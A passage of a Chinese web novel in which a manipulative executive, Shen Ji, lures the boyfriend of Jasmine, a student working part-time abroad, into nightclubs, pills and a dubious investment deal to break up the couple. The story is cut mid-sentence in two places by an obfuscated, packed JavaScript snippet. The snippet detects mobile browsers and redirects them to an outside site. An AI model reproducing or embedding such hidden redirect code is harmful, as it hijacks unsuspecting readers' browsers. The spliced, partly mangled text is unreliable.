收吧,良心不安,毕竟自己没给人家调酒,反而还拿了人家的雪茄,不收吧,这么多钱又不知道放在哪。 就这么纠结着,同事都被自己等来了。 “嗨茉莉,发什么呆呢?”火星朝她招招手——酒馆里每个人都用的花名,那男同事名叫火星,人如其名,十分张扬,还是个姐妹,有时比女人都会打扮。 “我在纠结这小费怎么办……”茉莉为难地把这个钱包摊开。 火星也傻了眼:“这……是什么大户?”他又瞥见一旁的烟灰缸,错愕地揉揉眼睛,“我没看错吧,‘高希霸世纪2号’?你抽的?” “不啊,客人的,让我来调酒的。不过什么是‘高希霸世纪2号’?” “你拿这玩意调酒?!那雪茄牌子啊!3支就要750美元。”火星看着那烟嘴,“而且还是不常见的款式,很有可能是定制款,那会更贵。” 什么?茉莉不禁瞪大了眼睛。 那估算下来……一支250美元,折合人民币,1750元一支!? 定制款还会更贵?! 她的天都要塌了,她的时薪才10欧元,到底怎么敢用这么贵的雪茄调酒的! “这就是富人的世界吗?”茉莉更加觉得手里的钱包像烫手山芋了。 “这是哪来的客人啊?”火星凑到她身边拿出了钱包里的名片,“风季集团……执行秘书查尔斯?” “风季集团?”茉莉忙看去,原来是风季集团的执行秘书吗。 这集团果然厉害,连秘书平时的开销都那么奢侈。茉莉这么一想更难过了,没赶上面试,简直就是大失败。 没办法,错过就是错过了。她把钱包收了起来,打算下次再见到这个查尔斯时还给他。 拿了那么贵的雪茄还要人家的巨额小费,她实在对不起良心。 晚上的兼职结束,茉莉回到家里打开电脑继续查找招聘的公司。 一连看下来了几个她都不太满意,心里始终放不下风季集团。她喝着牛奶看着那张名片,想着要不要再去争取一下。 但她能用什么理由呢,毕竟迟到是一个非常严重的错误,又跟人家只是几面之交,这样简直有些为难人。 算了算了,之后有机会再见到查尔斯时再暗戳戳地问问吧。 她准备睡觉,手机传来了消息提示音。 是许存发来的,说是明天那合作方又找他聊项目的事情,地址就定在她家附近,问她有没有空一起吃个早饭。 茉莉立马回复:当然可以啦,你什么时候找我都有空~ 其实早上是要赶面包店的兼职的,但面包店的工作比较轻松,只是帮烘焙师打下手,然后把新鲜面包排列好,时间自由,可以早去早结束。 只是自己的休息时间又要缩紧,但她这一天过得实在是太倒霉了,急需许存的安慰,所以就算少点休息也没关系。 从前室友就说过自己是恋爱脑,一谈恋爱就跟个傻子一样,茉莉一直反驳不是,但如今想来,她确实一碰上有关许存的事情就很冲动。 等到了许存的回复,茉莉心满意足地盖上被子睡觉。 天还没亮,茉莉便挎着包前往面包店打杂。 把展柜放满面包,茉莉便跟老板打了声招呼离开,前往与许存约定的地点。 许存定在了一家有早餐的咖啡店里见面,许存是很喜欢吃国外料理的,但茉莉吃不太惯,而且自己本就在面包店里兼职,一些卖剩下的面包可以打包带走,吃多了也觉得腻味。 可为了附和许存的口味,她只能强迫自己适应。 来到那家咖啡店,许存已经点好套餐在座位上等茉莉了。看到茉莉进门,他招了招手:“快来,面包是刚出炉的。” 茉莉生硬地笑,又是可颂,意识杏仁饼,柠檬挞之类的。 “尝尝,热乎的。”许存将可颂切成两块,沾了沾橄榄油和糖霜,递到茉莉的唇边。 她其实刚刚尝过新鲜可颂的,但她不想毁了许存的好兴致,于是张口小咬了一口:“嗯,好吃。” 她端着浓缩咖啡不断冲刷着口腔里的过量的糖分。从前喝不惯的苦咖啡,如今却成了她每日的必备。 许存问道:“你今天要去做家教吗?” “啊,今天不用,都在周末呢,我今天得去趟补习班。”茉莉略有心虚地又喝了一口咖啡,“你呢,今天要聊什么吗?” “我不是接了个商会吗,合作人说要是我有本事多拉几份投资,收益多少那就全算在我头上。今天聊的就是这个商会了,毕竟知己知彼百战百胜。” “果然是我男朋友,真厉害!” “等到这次项目结束,我应该就能鼓足勇气去你家见你父亲了。” 茉莉对许存露出自豪的微笑,但心里却有些担忧。 许存一向喜欢挑战,这次的商会投资听起来风险不小。她想说些什么,但毕竟自己还一事无成,讲出来的话毫无底气,又怕影响他的积极性,话只能咽下。 许存没注意到她的担忧,边吃早餐边接通了一个电话,讲的都是一些她听不懂的东西。她低头搅拌着咖啡,思绪走掉。 男朋友越来越优秀, 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她在喷泉外昂头看着,玻璃窗反射着蔚蓝色的天,几乎看不到里面的模样。 她多逗留了一会,想着用现在的场景来刺激自己更加努力。 看着看着,她看到了许存的身影,他贴着玻璃窗,远远地跟自己招手,脸上挂着笑。 许存指了指外面,应该是让她早些走,不要担心她。 茉莉开心地比了个大大的爱心,听话的朝外走。 许存刚放下手,余光便注意到身边伫立着一个男人。 沈悸的嘴角轻轻扬起,看着楼下走远的身影,稍显轻佻道:“没想到在这文德还能看见这么漂亮的亚洲女人。” “啊,沈总。” “对了,明晚的商会,你有女伴了吗?”沈悸摩挲着下巴,可惜道,“你知道的,在Y国这样的风情城市,必须要入乡随俗,我到现在还没有女伴呢。” “沈总这么优秀,怎么会缺少女伴呢。反倒是我才应该担忧。” “这下面的姑娘你认识吗?看你们还在打招呼呢。”沈悸故作欣赏的模样,“如果认识的话,方便介绍给我吗?我想请她做我的女伴。” 许存的表情一僵,“沈总,您……” 沈悸故意不知他的僵硬,挑眉道:“怎么了?”他像是想到什么,“对了,我认识一个千金,她恰好缺一个男伴,只不过我们太过熟悉,她就很嫌弃我……许先生一表人才,我觉得你跟她可以配一配。” 他顿了顿,火上浇油地补充:“林家,国内首屈一指做互联网的,我想你应该不陌生。” “如果能跟林家合作,哪怕后面我们的合作出了意外,都有人能担保下来。”沈悸笑意正甚,“不过这还是看你。” 他随意扫了眼紧张的许存:“你好像有些紧张啊。”他拿出一瓶药,“先前看你跟别人谈合作时就特别紧绷,试试这个,很有效。” 藏在袖下的手慢慢握紧,许存的内心如麻,理智和道德在体内疯狂打架。 不知怎的,他松开了发凉的手。像是自我慰藉一般地扯开僵硬的唇角,顺手拿起那瓶药吃了两颗:“没有,沈总愿意介绍,那实在是我的幸运。” “看你沉默那么久,还以为那是你女朋友呢。如果是,还真是冒犯。” “啊……”许存忍了忍,“那的确是我的女朋友。” “女朋友,是吗?”他刻意加重了这两个字。 “对。她是个十分优秀的人,沈总接触下便知道。”终究,贪念还是稍微超出了理智,“如果沈总愿意提携,我可以问她的意愿,让你们聊一聊。 “优秀的人才我是不想浪费的,那还真是麻烦你了。” “哪里,她真的很优秀。” 毫不意外的,鱼儿上钩了。 沈悸扶了扶眼镜,锐利的光从眼底一闪而过。 他倒是想看看,意外来临时,他们这脆弱的不堪一击的爱,能撑多久。 36. 离间 当收到许存消息的时候,茉莉还在第二户需要家教的人家里应聘。 她刚谈好一切,正准备签合同,手机便响了。 消息是连着两条发的,先是问她在不在忙,而后问能不能接电话,看起来很着急的样子,茉莉只能先对主人说声抱歉,走到外面去打了个电话。 许存很快就接了,他的语气急促:“茉莉,你在忙吗?” “没有,怎么了?” “啊……是这样的,我这商会需要女伴出席……” 茉莉以为是他需要女伴,很爽快地应下:“可以啊,什么时候?” “你先听我说完,我可能到时候要去陪其他项目上的合作伙伴,想到你不是一直在愁工作的事情,或许这次去,可以跟我的合作伙伴谈一谈。” 茉莉没懂:“什么意思?” “风季集团一向注重人才,他听我介绍你之后对你很感兴趣,想跟你聊一聊,说不定可以和我一起进入公司。” “我懂你意思了,你想让我作为你合作方的女伴出席?” “嗯……大概是这个意思,但只是个商会,不会有什么过多的肢体接触的。”许存怕她误会,连忙解释道。 茉莉沉默了。 她知道这商务洽谈对于许存来说十分重要,而这对于自己或许也是一次难得的机会。 只是,她心中难免有些说不上来的难受。 要看着男朋友去陪别人,还要自己去陪陌生男人,她还是不太舒服。 “真的就只是商会,谈合作的吧?”她再度确认了一遍,直到获得了许存的肯定,她才松了口,“好吧,我答应。” 就当是助力许存完成项目了,毕竟自己一直在受他照顾。 “好的,那么明晚见,我到时候来接你。” 茉莉挂断电话回到屋内,微笑着拿起笔,打算签下那合同。 电话结束,许存转身回到包间。 沈悸坐在椅子上,微微仰头:“怎么样?” “嗯,已经说好了。” “这样啊。”沈悸满意似的点头,“对了,带你去一个地方吧。正好去谈个生意。” “沈总要带着我去吗?”许存有些意外。 “是的,等一切落实完毕,你也是个官了,当官之前,当然要提前感受一下名利场。” 许存忙应着:“谢谢沈总。” 沈悸微笑着起身,拍了拍许存的肩膀:“不必客气。” 许存忐忑地坐上沈悸的宾利车,他还是第一次坐那么气派的车,拘谨地收着肩,整个人都是绷直的。 没多久,车子驶入繁华的商业区,最后停在了一个夜总会前。 许存没来过这种地方,一时间有些不知所措,只看着一旁的沈悸:“沈总……生意是在这谈吗?” 沈悸轻笑,点了点头:“没错,夜总会也是商界人士常聚之地。” 许存跟随沈悸步入夜总会,各个包间大门紧闭,但依旧能听到音乐喧嚣。 服务生一看到沈悸便弯腰行礼,一路领着他们往前。 走到最里的VIP区域,服务生推开一扇厚重的门,包间内灯光昏暗,却能听到女人娇羞的声音和男人的调笑声。 再一看,那些西装革履,人模人样的男人搂着着那些浓妆艳抹的女人,笑的肆意张狂。 “沈总来了啊!”有人看见沈悸,立马推开怀里的女人,“去,给沈总倒酒。” 沈悸微微颔首,他接过酒杯,又转放到许存的手里,低声道:“这些都是业界大佬,今天带你来见见世面,你可千万要把握机会。” 许存紧握酒杯,目光闪烁:“各位好。” “这身边的是谁啊?” “许存,我新项目的主要负责人。” “哦?那可得好好聊聊。” 沈悸对着一个坐在最边缘的女人说了什么,只见那个女人淡淡地扫过许存,随后从他怀里走开,坐到了许存的身边。 那女人长得十分美艳,褐色的卷发随意地披散,极具异域风情的双眼似水,勾人心魄, 她把空杯子倒满,递给许存,用着有些生涩的中文说道:“你好,我叫茱莉亚。” 其中一个男人拿起烟盒,拿了根烟递给他,“来。” 许存不会抽烟,但还是接了过来。他不会点烟,拿着香烟的手微微颤抖。 茱莉亚见状,轻笑一声,接过香烟放在嘴里熟练地点燃,递到他嘴边。 烟嘴上残留着女人的红唇印记,许存犹豫片刻,还是吸了一口,烟雾实在呛人,他没忍住咳嗽了两声。 “给我吧。”女人哈哈笑了两声,从他手里拿走香烟。茱莉亚吐出一口烟圈,眼神迷离地望着许存,“第一次来这种场合?” 许存尴尬地点点头,茱莉亚轻笑,凑近他耳边低语:“别紧张,跟着沈总,你会学到很多。” 还是觉得太近,许存挪开了一小段距离:“我有女朋友……” 茱莉亚一点也不奇怪,“这有什么?坐在那边的老婆孩子都有了。”她吸了口烟,对着许存吹去,暧昧至极地挑眉,“你可得小心点,别让她知道了。” 许存不是孩子,他知道这种场合的游戏规则。 他摁捺住局促:“谢谢……我会注意的。”他看见女人的肩带滑落,内心挣扎片刻,还是好心提醒,“你的肩带掉了。” 茱莉亚有些错愕,但很快,她又挂着笑调戏道:“那你帮我呀?” “男女有别,我不方便。”注意到茱莉亚手里挂了半截烟灰的烟,他顺手接过灭掉,“别烫到了。” 茱莉亚眼神一动:“你还真是不一样。” “有什么不一样的?” 没等到回答,有人拍拍许存的肩问道:“小子,你会玩骰子吧?” 许存勉强一笑,点头道:“会一点。” 那人哈哈大笑,递过骰盅,“来,玩玩。” 茱莉亚靠在他的肩上,柔若无骨的手覆在他的手上,画着漂亮眼影的眼睛轻轻一眨:“别担心,我陪你。” 她的手似蛇般缠绕,慢慢绕过许存的手臂,半个人都靠在他的身上。 许存感到一阵电流般的酥麻,女人的手指在他手背上轻轻划过,他勉强稳住心神,握住骰盅的手却微微出汗。 “跟着我的节奏。”她俏笑着,“我会保证你赢的。” 许存想忽略那酥麻感,但茱莉亚的气息如兰,让他难以集中。骰盅在手中摇晃,心跳也随之加速。 她低声在他耳边指导,每一个字都像是带着魔力,让他不由自主地跟随。 骰盅落地,数字如她所料。 一连赢了好几把,许存的信心逐渐增强,从一开始的局促不安变得从容自若,额上虽然还渗着冷汗,但嘴角却不由自主地上扬。 女人的温香漂浮在鼻间。 像蛊惑的毒,一下子就能令人失智。 沈悸坐在对面,眼神深邃地注视着这一切,嘴角微微上扬,似乎对许存的反应颇为满意。 蛊惑的女人投来视线,轻轻勾笑,吐出烟圈。 复杂与诱惑的烟雾缠在一起,成了吞噬掉人理智的名利场。 他看着手机屏幕,短信显示,他的小茉莉又试图逃离游戏走向了。 没关系,他对这场游戏掌控自如。 - 茉莉的工作又莫名丢了。 只是出门接个电话的功夫,女主人突然就叫住她,表示暂时不需要中文家教了。她诧异地问询缘由,对方难为地表示,有时薪更低的家教可以选择,所以斟酌之下,决定选那位时薪较低的家教。 其实她要求的工资也并不高,所以她实在没法为了争取这个名额再自降身价。 无奈,她只能离开。 到街上随意逛了逛,她买了一件黑色的小礼服作为明天出席的衣服,她还特意下血本买了一副首饰,珍珠的,看起来精致而不廉价。 晚上的兼职,她没见到那个男人。 钱包还在手里。 但她心里还有期翼,因为还有明天的宴会。如果能在其中遇到那个查尔斯,说不定工作的事情还有转机。 来到宴会当天,茉莉从下午就开始打扮。 她特地化了全妆,将头发盘起。 镜中的人明艳动人,黑色的礼服衬得她更是肤若凝脂,美的不可方物。 许存已经到楼下了,她穿上成人礼时父亲送给自己的高跟鞋,扶着墙适应了两步,拿着手包往外走。 她忘记穿外套,一到楼下就被那冷风吹得瑟瑟发抖。许存穿着得体的西装站在车边,不时地看向手腕上的表,见到她下来,他第一反应不是问她是不是冷,而是有些责备似的说:“怎么没穿外套?” “有些着急了,这不是看你已经在楼下等着。”茉莉的鼻子都被冻红了,她吸了吸鼻子,“没事,车里暖和就好。” 许存见状,忙打开车门,让她赶紧坐进车里。 他没说把外套脱下来给她穿,茉莉也不想提。 许存穿的也少,还正式,那些高层一定很注意衣装得体的,她并不想他们进场时被别人看到许存穿的不得体。 许存并没有车,这车应该是他租来的,还是个名牌车,显然是为了晚上的宴会特地花高价准备的。车内暖气很足,茉莉渐渐恢复了体温。 看着窗外飞速掠过的景色,她心中暗自祈祷今晚能有所收获。 目的地是个五星级酒店,灯火辉煌,大门前豪车云集,宾客们衣着光鲜,攀谈着慢慢进入酒店。 茉莉深吸一口气,调整好心态,跟随许存步入酒店大堂。灯光璀璨, 茉莉垂着头下了车,天鹅颈配着珍珠项链更显纤细。 有旁人侧目而来,悄悄猜测她是哪家的千金。她却只专注脚下,生怕高跟鞋绊倒。 与他们相比起来,茉莉显得并不逊色,反而因那份独特的清丽更引人注目。 许存停好了车,伸出胳膊让她挽住。茉莉没来过这样的地方,显得很局促,反观许存,他十分从容地带着她走上红毯台阶,进入酒店。 服务生门口派发着面具和迎宾酒,茉莉疑惑道:“为什么要带面具?” “或许主办方的兴趣吧,Y国人注重浪漫。”许存替她拿了一副面具和一个酒盏,“一会我可能就要走了,我先带你去合作方的休息室吧。” 茉莉接过面具和酒盏,点了点头。 她小心翼翼地跟在许存身后,穿过富丽堂皇的走廊,停在了一个看起来颇为雅致的房间门前。 “就是这了。”许存停了停,“我先走一步,你自己进去吧。” “一会结束了在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“信任?” “先生。”茉莉深吸一口气,郑重道,“我十分感谢你的欣赏,但是,我很不喜欢你的质疑。先生要是没事,我就先走了。” 这个人实在奇怪,刚见面就毫无界限的靠近,还在质疑她和许存的感情。 而且,还莫名的熟悉。 茉莉转身欲走,沈悸却喊住她:“请稍等一下。” “还有什么事吗?” “抱歉,是我无理了,让你您到不舒服,您想走也是应该的。只不过这里贵客较多,安保也比较严格,您没有邀请函,大概会被驱逐出去的。” “……”这倒也是,她对这里也不熟悉,也不知道许存在哪,想了一阵,她犹豫道,“那麻烦你了。” 沈悸微微一笑,走出门引领茉莉,边走边轻声提示:“这边,这里能通往许存所在的会客厅。” 她穿着高跟鞋,走路不便。前方的男人似乎注意到这点,问:“小姐,需要我搀扶吗?” 茉莉婉拒道:“不用,谢谢。” 沈悸侧目,看她步履艰难的样子,不禁慢下步子,让她能跟上自己的步伐节奏。 真是倔强,从来都没变过。 他脚步一拐,带她停在了一处会客厅的门外。 门内隐约传来交谈声,男女声音交杂,听起来聊的正欢甚。沈悸正准备敲门,茉莉却轻声制止:“算了,我还是不打扰了,请带我到正厅吧。” 沈悸点头答应,刚走出几步,他就像是想起什么一样:“对了,楼上是有一层空中花园的,那边人少,我觉得你应该会想在那边待着。” 人少吗?那正好可以等待许存聊完,看能不能跟他一起离开。 她已经不指望找查尔斯了,跟这个奇怪的男人在一起,总让她感到不安。 “那麻烦先生了。” “不麻烦。” 沈悸领着她上了楼,空中花园内没有人,恒温的空气带着淡淡花香,静谧而芬芳。 她简单看了看四周,对沈悸道谢:“谢谢先生,现在我想独自待一会。” “好的,那我就不叨扰了。” 他随意一扫,目光落在斜对面的一个会客厅的玻璃窗上,讶异地嗯了一声:“这里刚好还能看见许存的会客厅呢。” 茉莉顺着他的目光望去,会客厅灯光明亮,隐约能看到许存正与几人交谈。 沈悸退出花园,匿在暗处发送了信号。 好戏开场了。 茉莉坐在花园里,视线始终未从那边离开。 她看到许存弯着腰,不停地向别人点头,手里的酒一杯接着一杯喝,从未停过。 她看的心中一痛,不禁咬住了下唇。 真是不懂得珍惜自己的大混蛋,明明酒量没那么好还要这么拼命喝。 只是看着看着,她看到了不对劲的东西。 一只纤细的手揽过许存的胳膊,极不老实地在他的背后上下游移。 又不时贴面耳语,动作亲昵暧昧。 反观许存,一点都没有拒绝的意思。 她的眼睛登时睁大。 37. 酒醉 茉莉不自觉站了起来,瞪大的眼睛里满是不可思议。 这个女人在干嘛,为什么要这么亲昵地贴在许存的身边?不是说只是个商会吗。 她立马想要打电话给许存,可手机拿出的那瞬间,她却停住了。 冷静、冷静,这只是个商会。许存是个理智的人,知道分寸,她不能打扰他的会谈。 她这么安抚自己,但目光始终还落在那扇玻璃窗里。 那个女人挽着许存,自然又熟稔,似是亲密的情侣。 她再也看不下去,拿着手包冲出了空中花园。 刚走出花园,她正面碰上在吸烟处边上点燃香烟的沈悸,沈悸领口的扣子松了两颗,露出精致的锁骨和分明的肌肉线条。 “先生,你是故意的吗?”她红着眼,声音有些酸涩地质问。 沈悸歪着头,慢悠悠地熄灭香烟,“并没有,小姐,您似乎对我意见很大。” “刚说完那些我就看到了这样的场景,我怎么可能不对你有意见?” “可这就是商会,一个充满诱惑的名利场。”他理了理衣袖,狭长的眸透着漫不经心,“会发生什么不是我能控制的。” 茉莉忍下脾气,作势要走。 “等一下,小姐。” “你还有什么想说的?” “我听许存说,你来风季集团面试了,但不知道为什么,我好像没看到小姐。” “那天面试没赶上。” “这样啊……”沈悸微微一笑,“不如我带你去见见高层,看看还有没有机会能再试一次?” “不需要了。”如果是要她像那个女人一样不知底线,她宁愿不要这次机会。 看到她眼底的抗拒,沈悸自知没趣,侧身让出了道路。 他在后看着,嘴角勾笑。 看来,游戏比他想象的要顺利的多。 很快,她就能回到他的身边了。 他扣紧衬衫上的两颗扣子,回到了会客厅。 会客厅里,许存忍完了一轮的攀谈,带着身边的茱莉亚走到了角落。 无人注目之下,他拨开了茱莉亚的手,他从怀里掏出药瓶,倒了两颗药吃下,兴许是心理作用,他的头晕缓解了许多。 自从上次沈悸推荐了这个药之后,他逐渐有些依赖。 开始只是想试试,毕竟平时的压力确实很多很大,后来就像香烟一样成了瘾。 茱莉亚还想扶他,却被他推开:“可以了,到此为止。” 茱莉亚双手抱臂:“你的酒量不太好啊,这就脸红了?” “我又不像你,天天都在喝。” 这话有些过分,茱莉亚冷了脸:反正任务已完,她也没必要在这多浪费时间,不如就放他在这里好了。 想着,她要走,眼前却出现了一盘葡萄。 “吃点,解酒。你也挡了不少。”他的气息很粗,盘子都有些端不稳。 茱莉亚木在了原地,愣愣地捏起一只葡萄。 葡萄带着微微的酸。 但,果肉是甜的。 沈悸看着眼前的场景,不觉展开笑容。 边上,一个男人拿着酒杯靠近,他把放在沈悸面前:“喝一杯?” 沈悸睨了他一眼,拿过酒杯碰了下。 男人问:“那个女人呢?” 沈悸瞥他:“什么女人。” “那个很漂亮的女人,刚刚在你身边的。”男人摩挲着下巴,“借我玩玩?” 沈悸的眸色顿时冷了一度,但还是摆着体面的笑:“艾尔,玩别的,我送你。” 艾尔浑不在意:“也行。对了,那笔钱什么时候处理?” 一杯酒下肚,沈悸看向了许存。 “很快。” - 一连着几天,茉莉都很难联系到许存,每次电话都匆匆挂断,仿佛有什么急事。联想到上次那场聚会,她越发不安。 她给许存打了个电话,依旧是未接的状态,短信也不回,无奈之下,她决定亲自去找许存。 先去了许存的学校,许存不在,去了风季集团,却因为没有预约被拒之门外。她站在公司门口心急如焚,不断回想着那天的场景,那女人挽着许存的样子如刺般根根扎心。 还能去哪呢,她还能去哪里找许存呢。 还在思索着,一个熟悉的人影从公司大门里走出,看到茉莉,他还打了声招呼:“嗨,怎么是你?” 茉莉回眸望去,是上次送自己的男人,似乎叫小陈。 她像抓住救命稻草一样般急切地问:“小陈,你有没有看到许存?” “许存?”小陈摸摸脑袋,“我不认识这个人。” “是你们公司新项目的负责人之一,你们高层没说过许吗?” “哦,是许啊,我正好要去给许送东西,你要一起吗?”说到姓氏小陈突然恍然大悟,“你是项目人员之一吗?” 害怕说自己不是项目人员会被拒绝,茉莉眸色一转:“是,我发现有些东西需要确认,所以没提前预约。” “行,那你跟我走吧。”小陈没有怀疑,便让茉莉上了车。 茉莉坐上车,心思随着车外的街景飘飞。 此时她还在安慰自己没什么事,应该只是在聊些什么。 直到看到目的地,茉莉呆了一阵。 “你没来错地方吗?”她确认着。 “没有啊,这就是他们经常聚会的地方。” 那完全不是一个能洽谈事务的地方,而是一个招牌暧昧的夜总会。 这夜总会茉莉还听说过,是Y国现存黑手党的产业之一,名为“玫瑰之影”,更是附近有名的风月场所。 许存为什么会在这种地方。 是被卷入了什么纷争吗? 她不知道,没完全清楚发生什么之前,她还是想要信任许存。 她手心满是冷汗,跟着小陈进了那扇沉重繁丽的大门。 内里装潢格外奢华,水晶吊灯映照着金碧辉煌的墙壁,空气中弥漫着浓郁的香水和脂粉的味道。 貌美的女子穿着短裙来回穿梭,馋着男人阿谀奉承,赔笑着进入一个个包间。 越往里走,他们被拦了下来,小陈上前与那位安保沟通,茉莉则站在一旁一言不发,紧张地看着周围的环境。 但就在这走神的期间,她看到了许存的身影。 那是一个半开着的包间,许存正与几位西装革履的男子谈笑风生,而身边,正坐着那个在宴会上看见的女人。 他的神色间不见一丝紧张,反而像驰骋名利场多年的老手,一手拿烟,一手拿着酒杯,悠哉悠哉地翘着二郎腿。 那根本不是她所认识的许存。 她宁愿那是看错,揉揉眼睛,再猛地眨眼,许存确实在那,身边的女人笑靥如花,不经意间举杯,透过玻璃杯看向茉莉,眼神中透着几分得意。 她的心脏像被什么刺穿,痛的差点就要停止呼吸。 “诶,小姐,你去哪?” 小陈莫名地看了一眼,虽然担心,但手里的任务更加重要。 他推门进入,把资料放在了坐在包厢拐角,被墙遮掩住的沈悸面前。 “好的,你可以走了。”沈悸举了举酒杯,示意他离开。 许存不适地跟茱莉亚保持距离,“沈总,为什么白天也要在这里谈事情?” “这里毕竟私密,适合谈一些很机密的事情。”沈悸淡笑着,把那份合同挪放在许存面前,“这是合同,签完之后,你就可以准备开户等待资金了。” 许存眉头一动:“直接打在我的户行上吗?不是由公司出资吗?” “你是主负责人,当然由你管控资金了。”沈悸眼神深邃,“这是公司对你的信任。” 合同静静摆放在面前,许存的手指在合同边缘徘徊,紧张地签下了自己的姓名。 “合作愉快。”沈悸微微一笑,拿着那份合同走出了包厢。 查尔斯还站在门口待命,见到沈悸,他低声说了一句:“她来过了。” “我知道。” 他知道茉莉请了一天的假,一定会四处寻找许存的。 前菜已经走完,还剩下最后的一步。 他想,茉莉一定会喜欢的。 茉莉逃离了现场,脚步凌乱地冲出大门,泪水模糊了视线。外面已经慢慢暗沉下来,街灯亮起浑黄的光。 夜风冷冽,她紧紧抱住自己走在文德这陌生的街上,身上不冷了,可心里却寒的不行。 脑海中不断回荡着许存那陌生的笑容,以及那女人挑衅的眼神。 明明开始不是这样的。 她想起初见时许存的温柔与承诺,如今却如泡影般破碎。 为什么呢。 她不懂为什么会变成这样。 回到家,出租房门口贴着的水电费催缴单显得格外刺眼,提醒她现实的无情。 钥匙插进锁孔,转动时发出平仄的声响。 她推开门,屋内一片寂静,仿佛连空气都在嘲笑她的天真。 这小小的屋子是她和许存一起布置的,连家具都是他们在二手市场里挑选搬回来的。那时他们还一起坐在这张小小的沙发畅想未来,说着幼稚的情话,互相紧紧拥抱。 回忆汹涌如潮水,可她没时间难过,只能继续去扛,去熬。 这是她冲动的后果,没人可以依赖。 她给面具的店长发了个短信,说晚上正常上班,收到消息后,她迅速起身打扮,用厚重的粉底遮盖眼眶的红肿。 重新穿上那制服和面具,她在镜中摆好笑脸,来到了酒馆。 酒馆内灯光闪烁,音乐喧嚣,她机械地端着酒盘穿梭在人群中,心不在焉让她几次撞到客人,还摔碎了两只酒盏。 在地上收拾碎片时,又不小心割伤了手指,她没有感受到,直到火星提醒才发现血流了一手。 在吧台洗手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415948|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,她又开始走神,连身后客人的呼唤都没听见。 “小姐?”又是一声呼唤,她被喊回了现实,连声回应着关掉水龙头:“抱歉。” 她抬头,看见那张熟悉的白色面具,“查尔斯?” 男人显然有些意外:“你是怎么知道的?” 酒馆的员工守则里是明确标注不能直呼客人姓名的,茉莉拍了拍嘴,一边暗自责备自己,一边擦手说:“不好意思……你上次留下的钱包里有名片,我下意识就说出来了。” “哦~”男人托着腮,有些恶趣味地拉长尾调,“看来你挺在意我的,不然不能一见到我就喊我的名字。” 茉莉强颜欢笑,避开他的目光从桌下拿出了他的钱包:“你给的小费实在太多,换任何人都会在意吧。” 钱包依旧鼓鼓的,似乎一点都没拿。 。 “为什么不用?” “我没给你等价值的服务,实在拿不起。”茉莉诚实地回答。 男人轻笑,“你很特别。” “哪有,今天想喝什么吗?我们店最厉害的调酒师在这,让他给你调几杯?” “可以,那你可以陪我喝吗?我今天心情不太愉快,但又没人能陪我喝酒。”他把钱包又推回她的面前,“当做陪我喝酒的小费如何?小酌,不喝多。” 她的酒量并非很好,在小酒馆里工作这才提了些上来。而如今的确急需这些钱来解决燃眉之需,迫于现实,茉莉收回了钱包:“那就恭敬不如从命了。” “上酒吧,你喝什么上什么。” 茉莉点头,找火星说了一声,火星看了眼男人,男人立刻招手回应。 火星调制了两杯酒放在吧台,介绍道:“这酒名叫‘迷失夜’,度数稍微有些大,喝的时候可以慢些。” 茉莉端起酒杯,轻抿一口,辛辣的酒液滑过喉咙,她没忍住咳了两声。 男人轻拍她的肩:“慢慢来,不用急。” 酒果然够烈,一口下去就感觉脸颊发烫,她摸了摸脸,“是不是有些红了?” “还好。”男人拿了根吸管,抬着面具吸入酒水,“好烈的酒,怪不得叫‘迷失夜’。” “你有什么不顺心的事情吗?” “很多。但跟那些熟人谈不了,我不太喜欢跟熟人展露心情。” 茉莉低头:“我懂,有时候陌生人反而更容易倾诉。” “那你呢,看起来也不太开心。” 酒水的后调很足,有一种淡淡的苦杏仁香味,她又抿了一口,苦笑道:“跟男朋友有些误会。” “哦?上次见面的时候,记得你和他关系还很好。” “……我想问你一件事。” 头脑有些发懵,她支着脸颊,半个身子倚在吧台,直视他的眼睛:“名利场是不是会改变一个人?” “是的。”男人肯定道,“这是一个会吃人的东西。” 得到肯定的答案,茉莉的心情更加苦涩了。 一口接着一口,喝到一杯终了,她只能喝到冰块融化的水。 “可为什么呢……难道不靠阿谀奉承就不能成功吗?”她迷迷糊糊地问,眼睛都变得迷离。 “因为在没跨越阶级之前,只能俯首称臣。” 茉莉不喜欢这样的答案,借着酒精壮起的胆子一把捧起男人的脸,逼迫他和自己对视,“那你呢,有没有在这名利场中迷失过?” 男人明显一愣,但他很快反应过来,温热的手掌覆在她的手背上,“我不是名利场里的猎物,而是掌控者。” 茉莉眼神迷离,不解道:“掌控者?” “对。”男人的眸如黑夜一般深不见底,“我想要的,会自己得到。” 酒意上头,她无法思考这样复杂的东西,只能喃喃低语:“那我算什么,算附属品?” 她想不明白,手放开,趴在吧台上,眼角挂着泪珠,声音微弱:“是一开始太冲动了吗,还是遇人不淑,我只是想找一个真心对我好的人,想跟他一起努力有个家……” 她闭上眼,泪珠滑落,脑海中浮现出许存的模样。 “……我果然还是太没用了,什么都做不到。” 说着说着,她慢慢地睡着了。 沈悸拭去她眼角的泪水,坐在位置上静静地看着她的睡颜。 “没关系,只要在我身边,就没人敢辜负你。”他的声音很轻,很低,没被睡着的少女听见。 一声格外突兀的手机铃声响起,沈悸顺眼看去,放在吧台一侧的手机在不停震动,屏幕亮着“许存”二字。 他拿起电话接通,对面是许存关心的声音:“茉莉,在家吗,我想见你。” 似是听到这边嘈杂的声音,许存有些疑惑:“你在哪,怎么那么吵?” “——她喝多了,在我肩上睡着了。” 沈悸伸手,缓缓将那落下的发丝勾到她的耳后。 他笑的深沉:“请问你是?” 38. 再遇 许存打电话之前,茱莉亚跟他表了白。 明明只过了短短几天,他却觉得自己越发不像自己,连带着三观心境都要变了。 